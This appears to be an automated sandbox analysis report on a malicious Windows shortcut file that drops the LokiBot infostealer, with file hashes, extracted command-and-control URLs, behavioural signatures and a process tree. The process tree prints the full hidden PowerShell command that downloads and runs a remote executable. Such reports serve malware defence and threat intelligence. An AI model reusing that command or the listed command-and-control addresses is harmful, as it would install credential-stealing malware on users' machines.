Analysis
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max time kernel
127s -
max time network
140s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
06-08-2024 21:06
Static task
static1
Behavioral task
behavioral1
Sample
MalwareBazaar.lnk
Resource
win7-20240704-en
Behavioral task
behavioral2
Sample
MalwareBazaar.lnk
Resource
win10v2004-20240802-en
General
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Target
MalwareBazaar.lnk
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Size
2KB
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MD5
8d2464bee26f6e3d7c43953cfb3eebae
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SHA1
906f5952737b7b6f15abaaaca1a4c22111d39338
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SHA256
49b2caa0106ae7c87c555dfc3a919f2c1c4f1074e605b4c220fe3c85e7d2052e
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SHA512
5e75b583648ddfe7f34da44d2d4188cd9663e51b5a6f773539d43cf0269ca511a5fd7e922ade8438ea3f7ec5ce6f48cdbd7b2a3cdcdff43fe78ccd61dee7e53e
Malware Config
Extracted
http://www.requimacofradian.site/dfjbhskdbfvsdsfgsh/bzdjgbsdzjkngdsnhgtuonidsgtsgb/neio.exe
Extracted
lokibot
http://94.156.66.169:5788/bhvstgd/Panel/five/fre.php
http://kbfvzoboss.bid/alien/fre.php
http://alphastand.trade/alien/fre.php
http://alphastand.win/alien/fre.php
http://alphastand.top/alien/fre.php
Signatures
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Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
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Blocklisted process makes network request 1 IoCs
flow pid Process 5 2456 PoWeRsHeLl.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2456 PoWeRsHeLl.exe -
Downloads MZ/PE file
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Control Panel\International\Geo\Nation cmd.exe -
Executes dropped EXE 3 IoCs
pid Process 320 doubles.exe 1048 doubles.exe 4108 doubles.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook doubles.exe Key opened \REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook doubles.exe Key opened \REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook doubles.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 320 set thread context of 1048 320 doubles.exe 89 PID 320 set thread context of 4108 320 doubles.exe 90 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Program crash 1 IoCs
pid pid_target Process procid_target 2020 4108 WerFault.exe 90 -
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language doubles.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2456 PoWeRsHeLl.exe 2456 PoWeRsHeLl.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 2456 PoWeRsHeLl.exe Token: SeDebugPrivilege 320 doubles.exe Token: SeDebugPrivilege 1048 doubles.exe -
Suspicious use of UnmapMainImage 1 IoCs
pid Process 4108 doubles.exe -
Suspicious use of WriteProcessMemory 23 IoCs
description pid Process procid_target PID 4252 wrote to memory of 2456 4252 cmd.exe 85 PID 4252 wrote to memory of 2456 4252 cmd.exe 85 PID 2456 wrote to memory of 320 2456 PoWeRsHeLl.exe 88 PID 2456 wrote to memory of 320 2456 PoWeRsHeLl.exe 88 PID 2456 wrote to memory of 320 2456 PoWeRsHeLl.exe 88 PID 320 wrote to memory of 1048 320 doubles.exe 89 PID 320 wrote to memory of 1048 320 doubles.exe 89 PID 320 wrote to memory of 1048 320 doubles.exe 89 PID 320 wrote to memory of 1048 320 doubles.exe 89 PID 320 wrote to memory of 1048 320 doubles.exe 89 PID 320 wrote to memory of 1048 320 doubles.exe 89 PID 320 wrote to memory of 1048 320 doubles.exe 89 PID 320 wrote to memory of 1048 320 doubles.exe 89 PID 320 wrote to memory of 1048 320 doubles.exe 89 PID 320 wrote to memory of 4108 320 doubles.exe 90 PID 320 wrote to memory of 4108 320 doubles.exe 90 PID 320 wrote to memory of 4108 320 doubles.exe 90 PID 320 wrote to memory of 4108 320 doubles.exe 90 PID 320 wrote to memory of 4108 320 doubles.exe 90 PID 320 wrote to memory of 4108 320 doubles.exe 90 PID 320 wrote to memory of 4108 320 doubles.exe 90 PID 320 wrote to memory of 4108 320 doubles.exe 90 PID 320 wrote to memory of 4108 320 doubles.exe 90 -
outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook doubles.exe -
outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook doubles.exe
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4252 -
C:\Windows\System32\WindowsPowerShell\v1.0\PoWeRsHeLl.exe"C:\Windows\System32\WindowsPowerShell\v1.0\PoWeRsHeLl.exe" -ExecutionPolicy -Bypass -WindowStyle hiDdEn -HiDdEn --hiDDeN ---HiddeN ----HidDEn -Command msadp32.acm;(new-object System.Net.WebClient).DownloadFile('http://www.requimacofradian.site/dfjbhskdbfvsdsfgsh/bzdjgbsdzjkngdsnhgtuonidsgtsgb/neio.exe','doubles.exe');./'doubles.exe';(get-item 'doubles.exe').Attributes += 'Hidden';2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2456 -
C:\Users\Admin\AppData\Local\Temp\doubles.exe"C:\Users\Admin\AppData\Local\Temp\doubles.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:320 -
C:\Users\Admin\AppData\Local\Temp\doubles.exeC:\Users\Admin\AppData\Local\Temp\doubles.exe4⤵
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:1048
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C:\Users\Admin\AppData\Local\Temp\doubles.exeC:\Users\Admin\AppData\Local\Temp\doubles.exe4⤵
- Executes dropped EXE
- Suspicious use of UnmapMainImage
PID:4108 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4108 -s 125⤵
- Program crash
PID:2020
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4108 -ip 41081⤵PID:3340
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
367KB
MD53edc8e31efe97c259c8f2eebbbb4da98
SHA11692639db61f72b4e1bfa80e4a55bc1cfa8bb129
SHA256eec24916fc0a978ae5cb878efea2c7cd5c0403783e4e7c438a739b6fa8e30703
SHA51265f40b27c53379426e398d6e8ec7e2e64ea836bf4a9871f2aca7c66ef2baba0eb6a512611e935d5a2a3585b56c806d2b0a2ac9dc73cf3f71afa68a34596bae35
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C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2718105630-359604950-2820636825-1000\0f5007522459c86e95ffcc62f32308f1_32404286-a0b5-4a93-9620-6f13fd83251a
Filesize46B
MD5d898504a722bff1524134c6ab6a5eaa5
SHA1e0fdc90c2ca2a0219c99d2758e68c18875a3e11e
SHA256878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9
SHA51226a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61
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C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2718105630-359604950-2820636825-1000\0f5007522459c86e95ffcc62f32308f1_32404286-a0b5-4a93-9620-6f13fd83251a
Filesize46B
MD5c07225d4e7d01d31042965f048728a0a
SHA169d70b340fd9f44c89adb9a2278df84faa9906b7
SHA2568c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a
SHA51223d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b